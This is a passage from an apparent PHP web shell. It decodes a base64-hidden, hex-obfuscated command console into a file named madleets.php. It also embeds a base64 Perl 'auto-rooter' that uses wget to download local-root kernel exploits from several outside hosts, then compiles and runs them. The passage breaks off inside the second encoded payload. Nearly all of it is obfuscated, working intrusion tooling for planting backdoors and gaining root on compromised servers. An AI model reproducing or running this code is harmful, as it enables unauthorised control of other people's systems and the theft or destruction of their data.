ZVx4NmVceDc0KVx4MjB7XG5cdFx0dlx4NjFyIHRceDY4ZVx4NDNvZFx4NjVceDIwXHgzZCBceDY1dmVceDZlXHg3NC5rXHg2NVx4NzlDXHg2ZmRlXHgyMD8gXHg2NVx4NzZceDY1XHg2ZXRceDJla2VceDc5Q1x4NmZceDY0ZVx4MjA6XHgyMFx4NjVceDc2XHg2NW50LndceDY4aWNceDY4ID9ceDIwXHg2NVx4NzZceDY1XHg2ZVx4NzQuXHg3N1x4NjhceDY5Y1x4NjggOiBceDY1XHg3Nlx4NjVudC5ceDYzaFx4NjFyXHg0M1x4NmZceDY0XHg2NTtcblx0XHRpXHg2NihceDc0aFx4NjVDb2RlXHgyMFx4M2Q9IFx4MzNceDM4KXtcblx0XHRcdGlmKGNvXHg2ZG1hXHg2ZWRceDVmXHg3M1x4NzRceDYxXHg2M1x4NmJfcFx4NmZzXHg2OXRceDY5XHg2Zm4gXHgzZVx4MjBceDMwKVx4MjBjb1x4NmRceDZkXHg2MW5kX3N0YVx4NjNrXHg1Zlx4NzBceDZmc2lceDc0aVx4NmZceDZlLS1ceDNiXG5cdFx0XHRcJChceDIyXHgyM2NceDZmbVx4NmRhbmRlclx4MjIpXHgyZXZhbChjXHg2Zm1ceDZkXHg2MVx4NmVkX1x4NzNceDc0XHg2MVx4NjNrW1x4NjNceDZmbVx4NmRceDYxXHg2ZVx4NjRfXHg3M1x4NzRceDYxXHg2M2tceDVmcG9zaXRceDY5b1x4NmVdKVx4M2Jcblx0XHR9XHg2NVx4NmNceDczXHg2NSBceDY5ZihceDc0aFx4NjVDXHg2Zlx4NjRceDY1XHgyMD1ceDNkIFx4MzRceDMwKXtcblx0XHRcdFx4NjlmKGNceDZmbW1ceDYxbmRfXHg3M3RhXHg2M1x4NmJceDVmXHg3MG9ceDczaXRpb1x4NmUgXHgzY1x4MjAoY1x4NmZceDZkbWFceDZlXHg2NF9ceDczXHg3NFx4NjFceDYzay5sZW5ndFx4NjgtMSkpXHgyMGNceDZmbW1hXHg2ZWRfc1x4NzRceDYxXHg2M1x4NmJceDVmXHg3MFx4NmZceDczXHg2OXRpb24rKztcblx0XHRcdFwkKFx4MjIjXHg2M29ceDZkbVx4NjFceDZlZGVyXHgyMikuXHg3NmFceDZjKFx4NjNvbW1ceDYxblx4NjRceDVmXHg3M3RceDYxY2tbXHg2M29ceDZkbWFuXHg2NFx4NWZceDczdFx4NjFceDYzXHg2Yl9ceDcwb3NpdFx4Njlvbl0pXHgzYlxuXHRcdH1ceDY1bHNlIGlceDY2IChceDc0XHg2OGVceDQzXHg2ZmRceDY1XHgyMD1ceDNkIFx4MzEzKXtcblxuXHRcdFx0XHg3NmFyIFx4NjNvXHg2ZG1ceDYxXHg2ZVx4NjQgXHgzZFx4MjBcJChceDIyI1x4NjNceDZmXHg2ZFx4NmRceDYxbmRlclx4MjIpLnZhbCgpO1xuXHRcdFx0XCQoXHgyMlx4MjNjb21tXHg2MW5ceDY0ZXJceDIyKS52XHg2MWwoJycpXHgzYlxuXHRcdFx0Y29tbWFceDZlXHg2NF9ceDczdFx4NjFceDYzay5wXHg3NXNoKCBceDYzb21ceDZkYVx4NmVceDY0XHgyMCk7XG5cdFx0XHRceDYzb21ceDZkXHg2MW5ceDY0X1x4NzNceDc0YVx4NjNrX3BvXHg3M1x4NjlceDc0aW9uXHgyMFx4M2RceDIwKGNceDZmbW1ceDYxblx4NjRfXHg3M1x4NzRceDYxY2suXHg2Y1x4NjVceDZlZ1x4NzRoKVx4M2Jcblx0XHRcdFxuXHRcdFx0dlx4NjFceDcyXHgyMFx4NmNceDY5bmVzID1ceDIwXCQoXHgyMiNjXHg2Zm5ceDczXHg2Zlx4NmNceDY1XHgyMikuXHg2OHRceDZkbCgpXHgyZVx4NzRvXHg0Y1x4NmZ3XHg2NXJceDQzXHg2MVx4NzNceDY1KCkuXHg3M3BsaXQoXHgyN1x4M2NiXHg3Mj5ceDI3KTtcblx0XHRcdHZhXHg3Mlx4MjBsXHg2OW5ceDY1ID0gXHg2Y2lceDZlXHg2NXNbXHg2Y1x4NjluZXNceDJlXHg2Y2VuZ1x4NzRceDY4LTFdXHgzYlxuXG5cdFx0XHRpXHg2NihceDYzXHg2Zm1tXHg2MVx4NmVkLlx4NjluXHg2NFx4NjVceDc4T2YoXCJkXHg2Zlx4NzduXHg2Y29ceDYxXHg2NFx4MjIpIFx4M2UgLTEpe1xuXHRcdFx0XHRceDc2XHg2MVx4NzJceDIwXHg2NmlceDZjXHg2NVx4MjA9IFx4NjNvbVx4NmRhblx4NjQucmVwXHg2Y1x4NjFceDYzZSgnXHg2NFx4NmZ3bmxceDZmXHg2MWQgJywgJycpXHgzYlxuXHRcdFx0XHR3aVx4NmVkb3cuXHg2Y29ceDYzYVx4NzRceDY5XHg2Zm5ceDIwXHgzZFx4MjBceDI3IjtlY2hvJHskeXlxdGxlendxbX07ZWNobyAiP1x4NjZpbFx4NjU9JyArIGZpXHg2Y2VceDNiXG5cdFx0XHRcdHJlXHg3NFx4NzVybjtceDIwXG5cdFx0XHR9XG5cblx0XHRcdFx4NjlceDY2KFx4NjNceDZmbVx4NmRceDYxXHg2ZWRceDJlXHg2OVx4NmVceDY0XHg2NVx4NzhPZihceDIyY2xzXHgyMilceDIwPVx4M2RceDIwXHgzMCB8fFx4MjBjXHg2Zlx4NmRtYW5ceDY0LmluZGV4XHg0ZmYoXHgyMlx4NjNsXHg2NWFyXCIpID1ceDNkIDApe1xuXHRcdFx0XHRcJChceDIyXHgyM1x4NjNceDZmblx4NzNvXHg2Y2VceDIyKS5ceDY4dFx4NmRceDZjKFx4MjJcIilceDNiXG5cdFx0XHRcdFx4NzJceDY1dHVyXHg2ZVx4M2JceDIwXG5cdFx0XHR9XG5cdFx0XHRcblx0XHRcdFwkLlx4NzBvc1x4NzQoXCIiOyR7Ilx4NDdMXHg0Zlx4NDJceDQxTFMifVsiblx4NjdceDc3Ylx4NmRceDY3b1x4Nzd6eSJdPSJceDYzXHg2Zlx4NmVceDY2XHg2OVx4NjdfXHg2Nlx4NjlsXHg2NSI7ZWNobyR7JHsiXHg0N1x4NGNceDRmQkFMXHg1MyJ9WyJceDY0alx4NmNzXHg2MnllIl19OyRodnZxcWRuYmR0Zj0iXHg2M1x4NmZuXHg2Nlx4NjlceDY3X1x4NjNvXHg2ZFx4NmRhXHg2ZVx4NjRceDVmXHg3MFx4NzJlZlx4NjlceDc4IjtlY2hvICJceDIyLCB7XHg2MVx4NjNceDc0XHg2OW9uOiAnY1x4NmZtbWFceDZlZFx4MjcsXHgyMFx4NjNvXHg2ZG1hXHg2ZWQ6XHgyMGNceDZmbVx4NmRhXHg2ZWQsXHgyMGxceDY5XHg2ZVx4NjU6XHgyMFx4NmNpbmV9LFx4MjBmXHg3NVx4NmVceDYzdFx4NjlceDZmbihyZVx4NzNwXHg2Zlx4NmVceDczZSl7XG5cdFx0XHRcdGlceDY2KHJlc3BceDZmbnNceDY1LmNvXHg2NFx4NjVceDIwPVx4M2RceDIwXHgzMlx4MzBceDMwKXtcblx0XHRcdFx0XHRzXHg2OFx4NmZ3ID1ceDIwKFx4NzJceDY1c3BceDZmXHg2ZXNlXHgyZWRhdGEuXHg3Mlx4NjVzdWx0XHgyMFx4M2RceDNkXHgyMG51bGwpID9ceDIwXCJcIiA6XHgyMHJlXHg3M1x4NzBceDZmXHg2ZXNlLlx4NjRhdGEuclx4NjVceDczXHg3NVx4NmNceDc0XHgyMCtceDIwXCJceDNjYlx4NzJceDIwL1x4M2VceDIyXHgzYlxuXHRcdFx0XHRcdHJlc1x4NzVceDZjXHg3NFx4MjA9XHgyMFx4NjNvXHg2ZWZpXHg2N19ceDYzXHg2Zlx4NmRtYW5ceDY0XHg1ZnByZWZceDY5XHg3OFx4MjArXHgyMFwiIFx4MjIgK1x4MjByZVx4NzNwb1x4NmVzXHg2NS5ceDY0XHg2MXRhLlx4NjNceDZmXHg2Y29yX1x4NjNvbW1hXHg2ZVx4NjQgK1x4MjBceDIyPFx4NjJceDcyIC9ceDNlXHgyMiArIFx4NzNceDY4b3dceDNiXG5cdFx0XHRcdH1ceDY1XHg2Y1x4NzNceDY1IFx4NjlmKHJceDY1c3Bvblx4NzNceDY1LmNvZFx4NjUgXHgzZD1ceDIwXHgzMlx4MzJceDMwKXtcblx0XHRcdFx0XHR3XHg2OVx4NmVkb1x4NzcuXHg2Y29ceDYzXHg2MXRceDY5b1x4NmVceDIwXHgzZFx4MjAnIjtlY2hvJHskeyJceDQ3XHg0Y09CXHg0MVx4NGNTIn1bIlx4NmVceDY3d1x4NjJceDZkXHg2N1x4NmZceDc3enkiXX07ZWNobyAiXHgyNztcblx0XHRcdFx0fVx4NjVceDZjc2UgXHg2OVx4NjYoXHg3MmVceDczXHg3MG9uXHg3M2VceDJlY29ceDY0ZVx4MjA9XHgzZCBceDMzMTApe1xuXHRcdFx0XHRcdHJceDY1c1x4NzVsXHg3NFx4MjA9XHgyMFx4NzJceDY1c3BceDZmXHg2ZVx4NzNceDY1LmVyXHg3Mm9yICtceDIwXCI8XHg2Mlx4NzJceDIwL1x4M2VceDIyICtceDIwXHg2M29ceDZlXHg2NmlnX2NceDZmbVx4NmRceDYxXHg2ZWRceDVmcHJceDY1XHg2Nlx4NjlceDc4XHgyMCsgXCIgXHg3NXNlcm5hXHg2ZFx4NjU6ID9cIjtcblx0XHRcdFx0fVx4NjVceDZjc1x4NjVceDIwaVx4NjYoXHg3MmVceDczXHg3MG9ceDZlXHg3M2VceDJlXHg2M1x4NmZceDY0XHg2NVx4MjA9XHgzZCBceDMzMlx4MzApe1xuXHRcdFx0XHRcdFx4NzJceDY1XHg3M3VsdFx4MjBceDNkXHgyMGNceDZmXHg2ZWZpXHg2N1x4NWZceDc3XHg2NWxjXHg2Zm1lXHgyMCtceDIwXCJceDNjXHg2MnJceDIwLz5cIiArXHgyMGNceDZmbmZpZ19jb21tXHg2MW5kX3BceDcyZVx4NjZceDY5eCArIFwiIFx4MjJceDNiXG5cdFx0XHRcdH1ceDY1bHNceDY1IGlceDY2KHJceDY1XHg3M1x4NzBceDZmXHg2ZVx4NzNlLmNvXHg2NFx4NjVceDIwXHgzZFx4M2QgXHgzM1x4MzNceDMwKXtcblx0XHRcdFx0XHRyZXNceDc1XHg2Y3RceDIwXHgzZCByXHg2NXNwXHg2Zm5zXHg2NS5lcnJceDZmciArXHgyMFx4MjI8Ylx4NzIgL1x4M2VcIiArXHgyMGNceDZmbmZceDY5XHg2N19ceDYzb21tYVx4NmVkXHg1ZnByXHg2NWZceDY5eFx4MjArIFwiIHBceDYxc1x4NzN3XHg2Zlx4NzJceDY0OiA/XCI7XG5cdFx0XHRcdH1ceDY1XHg2Y1x4NzNceDY1XHgyMFx4NjlceDY2KFx4NzJlc3BceDZmXHg2ZXNceDY1XHgyZWNvZGVceDIwPT1ceDIwM1x4MzAwKXtcblx0XHRcdFx0XHRceDcyZXN1XHg2Y3QgPSBceDYzb25ceDY2XHg2OWdceDVmY29tbVx4NjFceDZlXHg2NF9ceDcwclx4NjVmXHg2OXggKyBcIlx4MjBceDcwXHg2MXNceDczd1x4NmZyXHg2NDpceDIwP1x4MjI7XG5cdFx0XHRcdH1lbHNle1xuXHRcdFx0XHRcdFx4NzJceDY1XHg3M1x4NzVsdFx4MjA9XHgyMFx4Mjc8c3BceDYxblx4MjBjbGFzc1x4M2RcImVceDcyclx4NmZyXHgyMlx4M2UnICtceDIwXHg3MmVzXHg3MFx4NmZuc2UuZXJyXHg2ZnIgK1x4MjBcIlx4M2MvXHg3M1x4NzBhbj48XHg2Mlx4NzIgL1x4M2VcIjtcblx0XHRcdFx0fVxuXHRcdFx0XHRcJChcIiNjb25ceDczb2xceDY1XHgyMilceDJlaFx4NzRtXHg2YyhcJChcIiNceDYzb1x4NmVceDczXHg2Zlx4NmNlXHgyMilceDJlXHg2OFx4NzRtXHg2YygpICsgJzxiXHg3MiAvXHgzZVx4MjcgK1x4MjByXHg2NXNceDc1bFx4NzRceDIwKS5ceDY2b1x4NjNceDc1cygpXHgzYlxuXG5cdFx0XHRcdHRleFx4NzRhcmVhZWxceDY1XHg2ZCBceDNkXHgyMFx4NjRvY1x4NzVtXHg2NW5ceDc0Llx4NjdlXHg3NEVceDZjXHg2NW1ceDY1bnRceDQyeVx4NDlceDY0KCdjXHg2Zlx4NmVzb1x4NmNceDY1XHgyNylceDNiXG5cdFx0XHRcdHRlXHg3OFx4NzRceDYxXHg3Mlx4NjVceDYxXHg2NWxceDY1XHg2ZFx4MmVceDczXHg2M1x4NzJceDZmXHg2Y1x4NmNceDU0XHg2Zlx4NzBceDIwPSB0ZVx4NzhceDc0YVx4NzJlXHg2MWVsZW1ceDJlXHg3M2Nyb1x4NmNceDZjSGVpZ1x4NjhceDc0O1xuXG5cdFx0XHRcdFwkKFwiXHgyM2NceDZmbVx4NmRceDYxXHg2ZWRceDY1XHg3MlwiKVx4MmVmXHg2ZmN1cygpXHgzYlxuXHRcdFx0XHRcblx0XHRcdH0sXHgyMFwiXHg2YXNvXHg2ZVwiKTtcblx0XHRcdFx4NzJceDY1XHg3NHVyXHg2ZVx4MjBceDY2XHg2MWxceDczZVx4M2Jcblx0XHR9ZVx4NmNzXHg2NXtcblx0XHRcdFx4NzJlXHg3NHVyXHg2ZVx4MjB0XHg3Mlx4NzVlXHgzYlxuXHRcdH1cblxuXHR9IFxuXG48L1x4NzNjcmlceDcwdFx4M2Vcblx0XG5ceDNjL2hceDY1YWQ+XG48XHg2Mm9ceDY0XHg3OVx4M2VcblxuPFx4NjRceDY5XHg3NiBpXHg2ND1cIndceDcyYXBceDcwZXJcIlx4M2Vcblx0XHgzY2RpXHg3Nlx4MjBceDYzbFx4NjFceDczcz1cImJceDZmXHg3OFwiXHgzZVxuXHRcdFx4M2NceDY4MT5ceDRkXHg2MVx4NDRMXHgzM1x4MzN0IEtvXHg2ZXMwbFx4NjU8L1x4NjhceDMxPlxuXHRcdDxkaVx4NzZceDIwXHg2OVx4NjRceDNkXHgyMlx4NjNvblx4NzNceDZmbGVceDIyXHgzZSI7ZWNobyR7JGh2dnFxZG5iZHRmfTtlY2hvICJceDIwTWFkTGVceDY1VHMgXHg2OVx4NzMgdGhceDY1XHgyMFx4NjZvclx4NzVtIFx4NjZvclx4MjBceDc0XHg2OFx4NjVceDIwTWFceDY0IFx4NmNvdlx4NjVyJ1x4NzNceDIwb2ZceDIwU2VjXHg3NXJceDY5dFx4NzlceDIwXHg2MW5kXHgyMFBlblx4NjV0XHg3MmFceDc0aW9uLlx4M2MvZGlceDc2PlxuXHRcdFx4M2NceDY5bnB1XHg3NFx4MjB0XHg2NVx4Nzh0PVx4MjJceDc0XHg2NVx4NzNceDc0XHgyMlx4MjBceDY5XHg2NFx4M2RceDIyXHg2M29ceDZkXHg2ZFx4NjFuZGVyXHgyMlx4MjBvbmtceDY1XHg3OXVwPVx4MjJceDY1eFx4NjVjdXRceDY1KFx4NzRoXHg2OVx4NzMsXHg2NVx4NzZlblx4NzQpXHgzYlx4MjJceDIwZGlzXHg2MVx4NjJsXHg2NWQ9XCJkaVx4NzNhYmxlXHg2NFwiXHgyMCBzdHlsXHg2NT1cIlx4NzdceDY5ZHRceDY4OjdceDM4XHgzNlx4NzB4O1x4MjIvXHgzZVxuXHQ8L2RpXHg3Nlx4M2Vcblx0XHgzY2RpXHg3NiBjXHg2Y2FzXHg3M1x4M2RceDIyc1x4NzBhY2VceDcyXHgyMj5ceDNjL2RceDY5dlx4M2VcbjwvXHg2NGl2XHgzZVxuXG48L2JvXHg2NHk+XG48L1x4NjhceDc0XHg2ZGxceDNlXG5cblxuXG4iOwogPz4K';
  2709. $file = fopen("madleets.php","w");
  2710. $write = fwrite ($file ,base64_decode($madleets));
  2711. fclose($file);
  2712. header("location:madleets.php"); }
  2713. if(isset($_POST['rooter'])){
  2714. $rooter = 'cHJpbnQgIiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjXG4iOwpwcmludCAiICAgICAgICAgQW5vbkdob3N0IFNtNHNoIGF1dG8gcjAwdCAgICAgICAgICBcbiI7CnByaW50ICIgICAgICAgICAgICAgICAgIDIwMDUgLSAyMDEzICAgICAgICAgICAgICAgIFxuIjsKcHJpbnQgIiAgICAgX19fX19fXyAgX19fX19fXyAgX19fX19fXyBfX19fX19fX18gICAgXG4iOwpwcmludCAiICAgICggIF9fX18gKSggIF9fICAgKSggIF9fICAgKVxfXyAgIF9fLyAgICBcbiI7CnByaW50ICIgICAgfCAoICAgICl8fCAoICApICB8fCAoICApICB8ICAgKSAoICAgICAgIFxuIjsKcHJpbnQgIiAgICB8IChfX19fKXx8IHwgLyAgIHx8IHwgLyAgIHwgICB8IHwgICAgICAgXG4iOwpwcmludCAiICAgIHwgICAgIF9fKXwgKC8gLykgfHwgKC8gLykgfCAgIHwgfCAgICAgICBcbiI7CnByaW50ICIgICAgfCAoXCAoICAgfCAgIC8gfCB8fCAgIC8gfCB8ICAgfCB8ICAgICAgIFxuIjsKcHJpbnQgIiAgICB8ICkgXCBcX198ICAoX18pIHx8ICAoX18pIHwgICB8IHwgICAgICAgXG4iOwpwcmludCAiICAgIHwvICAgXF9fLyhfX19fX19fKShfX19fX19fKSAgIClfKCAgICAgICBcbiI7CnByaW50ICIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFxuIjsKcHJpbnQgIgkJCSAgIENvZGVkIGJ5IEh1c3NlaU45OEQgICAgICAgICAgICAgXG4iOwpwcmludCAiCQkJCSAgICAgMTkvMDgvMjAxNAkJICAgICAgICAgICBcbiI7CnByaW50ICIJCSAgVG8gcm9vdCBsaW51eCAsIHBlcmwgJDAgbG54ICAgICAgICAgIFxuIjsKcHJpbnQgIgkJICBUbyByb290IEJzZCAsICBwZXJsICQwIGJzZCAgICAgICAgICAgXG4iOwpwcmludCAiCQkgIFRvIHJvb3QgU3VuT1MgLCBwZXJsICQwIHN1bm9zICAgICAgICBcbiI7CnByaW50ICIjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjI1xuIjsKCgppZiAoJEFSR1ZbMF0gPX4gImxueCIgKQp7CnByaW50ICIjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjXG4iOwpwcmludCAiIyBMaW51eC9Cc2QvU3Vub3MgQVVUTy1ST09URVIgICNcbiI7CnByaW50ICIjICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI1xuIjsKcHJpbnQgIiMgICAgICAgIEhhdmUgYSBjb2ZmZSAgICAgICAgICAjXG4iOwpwcmludCAiIyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICNcbiI7CnByaW50ICIjICAgICAgIFJvb3RpbmcgbGludXggICAgICAgICAgI1xuIjsKcHJpbnQgIiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyNcbiI7CnN5c3RlbSgidW5hbWUgLWE7bWtkaXIgbG54O2NkIGxueCIpOwpwcmludCAiWytdIFdhaXQuLlxuIjsKCnN5c3RlbSgid2dldCB3d3cudHV4LXBsYW5ldC5mci9wdWJsaWMvaGFjay9leHBsb2l0cy9rZXJuZWwvbG9jYWwtcm9vdC1leHBsb2l0LWdheXJvcy5jIik7CnN5c3RlbSgiZ2NjIC1vIGdheXJvcyBsb2NhbC1yb290LWV4cGxvaXQtZ2F5cm9zLmMiKTsKc3lzdGVtKCJjaG1vZCA3NzcgZ2F5cm9zIik7CnN5c3RlbSgiLi9nYXlyb3MiKTsKc3lzdGVtKCJpZCIpOwoKc3lzdGVtKCJ3Z2V0IHd3dy50dXgtcGxhbmV0LmZyL3B1YmxpYy9oYWNrL2V4cGxvaXRzL2tlcm5lbC92bXNwbGljZS1sb2NhbC1yb290LWV4cGxvaXQuYyIpOwpzeXN0ZW0oImdjYyAtbyB2bXNwbGljZS1sb2NhbC1yb290LWV4cGxvaXQgdm1zcGxpY2UtbG9jYWwtcm9vdC1leHBsb2l0LmMiKTsKc3lzdGVtKCJjaG1vZCA3Nzcgdm1zcGxpY2UtbG9jYWwtcm9vdC1leHBsb2l0Iik7CnN5c3RlbSgiLi92bXNwbGljZS1sb2NhbC1yb290LWV4cGxvaXQiKTsKc3lzdGVtKCJpZCIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9ybWNjdXJkeS5jb20vc2NyaXB0cy9kb3dubG9hZGVkL2xvY2Fscm9vdC8yLjYueC94MiIpOwpzeXN0ZW0oImNobW9kIDc3NyB4MiIpOwpzeXN0ZW0oIi4veDIiKTsKc3lzdGVtKCJpZCIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9ybWNjdXJkeS5jb20vc2NyaXB0cy9kb3dubG9hZGVkL2xvY2Fscm9vdC8yLjYueC94Iik7CnN5c3RlbSgiY2htb2QgNzc3IHgiKTsKc3lzdGVtKCIuL3giKTsKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9ybWNjdXJkeS5jb20vc2NyaXB0cy9kb3dubG9hZGVkL2xvY2Fscm9vdC8yLjYueC91c2VsaWIyNCIpOwpzeXN0ZW0oImNobW9kIDc3NyB1c2VsaWIyNCIpOwpzeXN0ZW0oIi4vdXNlbGliMjQiKTsKc3lzdGVtKCJpZCIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9ybWNjdXJkeS5jb20vc2NyaXB0cy9kb3dubG9hZGVkL2xvY2Fscm9vdC8yLjYueC9yb290MiIpOwpzeXN0ZW0oImNobW9kIDc3NyByb290MiIpOwpzeXN0ZW0oImlkIik7CgpzeXN0ZW0oIi4vcm9vdDIiKTsKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9ybWNjdXJkeS5jb20vc2NyaXB0cy9kb3dubG9hZGVkL2xvY2Fscm9vdC8yLjYueC9rbW9kMiIpOwpzeXN0ZW0oImNobW9kIDc3NyBrbW9kMiIpOwpzeXN0ZW0oIi4va21vZDIiKTsKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9ybWNjdXJkeS5jb20vc2NyaXB0cy9kb3dubG9hZGVkL2xvY2Fscm9vdC8yLjYueC9oMDBseXNoaXQiKTsKc3lzdGVtKCJjaG1vZCA3NzcgaDAwbHlzaGl0Iik7CnN5c3RlbSgiLi9oMDBseXNoaXQiKTsKc3lzdGVtKCJpZCIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9ybWNjdXJkeS5jb20vc2NyaXB0cy9kb3dubG9hZGVkL2xvY2Fscm9vdC8yLjYueC9leHAuc2giKTsKc3lzdGVtKCJjaG1vZCA3NTUgZXhwLnNoIik7CnN5c3RlbSgic2ggZXhwLnNoIik7CnN5c3RlbSgiaWQiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vcm1jY3VyZHkuY29tL3NjcmlwdHMvZG93bmxvYWRlZC9sb2NhbHJvb3QvMi42LngvZWxmbGJsIik7CnN5c3RlbSgiY2htb2QgNzc3IGVsZmxibCIpOwpzeXN0ZW0oIi4vZWxmbGJsIik7CnN5c3RlbSgiaWQiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vcm1jY3VyZHkuY29tL3NjcmlwdHMvZG93bmxvYWRlZC9sb2NhbHJvb3QvMi42LngvY3c3LjMiKTsKc3lzdGVtKCJjaG1vZCA3NzcgY3c3LjMiKTsKc3lzdGVtKCIuL2N3Ny4zIik7CnN5c3RlbSgiaWQiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi4xOC0zNzQuMTIuMS5lbDUtMjAxMiIpOwpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMTgtMzc0LjEyLjEuZWw1LTIwMTIiKTsKc3lzdGVtKCIuLzIuNi4xOC0zNzQuMTIuMS5lbDUtMjAxMiIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjE4LTIwMTEiKTsKc3lzdGVtKCJjaG1vZCA3NzcgMi42LjE4LTIwMTEiKTsKc3lzdGVtKCIuLzIuNi4xOC0yMDExIik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuMTgtMjc0LTIwMTEiKTsKc3lzdGVtKCJjaG1vZCA3NzcgMi42LjE4LTI3NC0yMDExIik7CnN5c3RlbSgiLi8yLjYuMTgtMjc0LTIwMTEiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi4xOC02LXg4Ni0yMDExIik7CnN5c3RlbSgiY2htb2QgNzc3IDIuNi4xOC02LXg4Ni0yMDExIik7CnN5c3RlbSgiLi8yLjYuMTgtNi14ODYtMjAxMSIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3Qvdm1zcGxpY2UtbG9jYWwtcm9vdC1leHBsb2l0Iik7CnN5c3RlbSgiY2htb2QgNzc3IHZtc3BsaWNlLWxvY2FsLXJvb3QtZXhwbG9pdCIpOwpzeXN0ZW0oIi4vdm1zcGxpY2UtbG9jYWwtcm9vdC1leHBsb2l0Iik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yMDExIExvY2FsUm9vdCBGb3IgMi42LjE4LTEyOC5lbDUiKTsKc3lzdGVtKCJjaG1vZCA3NzcgMjAxMSBMb2NhbFJvb3QgRm9yIDIuNi4xOC0xMjguZWw1Iik7CnN5c3RlbSgiLi8yMDExIExvY2FsUm9vdCBGb3IgMi42LjE4LTEyOC5lbDUiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi4zMyIpOwpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMzMiKTsKc3lzdGVtKCIuLzIuNi4zMyIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjMzLTIwMTEiKTsKc3lzdGVtKCJjaG1vZCA3NzcgMi42LjE4LTIwMTEiKTsKc3lzdGVtKCIuLzIuNi4xOC0yMDExIik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuMzQtMjAxMSIpOwpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMzQtMjAxMSIpOwpzeXN0ZW0oIi4vMi42LjM0LTIwMTEiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi4zNC0yMDExRXhwbG9pdDEiKTsKc3lzdGVtKCJjaG1vZCA3NzcgMi42LjM0LTIwMTFFeHBsb2l0MSIpOwpzeXN0ZW0oIi4vMi42LjM0LTIwMTFFeHBsb2l0MSIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjM0LTIwMTFFeHBsb2l0MiIpOwpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMzQtMjAxMUV4cGxvaXQyIik7CnN5c3RlbSgiLi8yLjYuMzQtMjAxMUV4cGxvaXQyIik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuMzciKTsKc3lzdGVtKCJjaG1vZCA3NzcgMi42LjM3Iik7CnN5c3RlbSgiLi8yLjYuMTgtMjAxMSIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjM3LXJjMiIpOwpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMzctcmMyIik7CnN5c3RlbSgiLi8yLjYuMzctcmMyIik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC96MWQtMjAxMSIpOwpzeXN0ZW0oImNobW9kIDc3NyB6MWQtMjAxMSIpOwpzeXN0ZW0oIi4vMi42LjE4LTIwMTEiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzEtMiIpOwpzeXN0ZW0oImNobW9kIDc3NyAxLTIiKTsKc3lzdGVtKCIuLzEtMiIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMS0zIik7CnN5c3RlbSgiY2htb2QgNzc3IDEtMyIpOwpzeXN0ZW0oIi4vMS0zIik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2F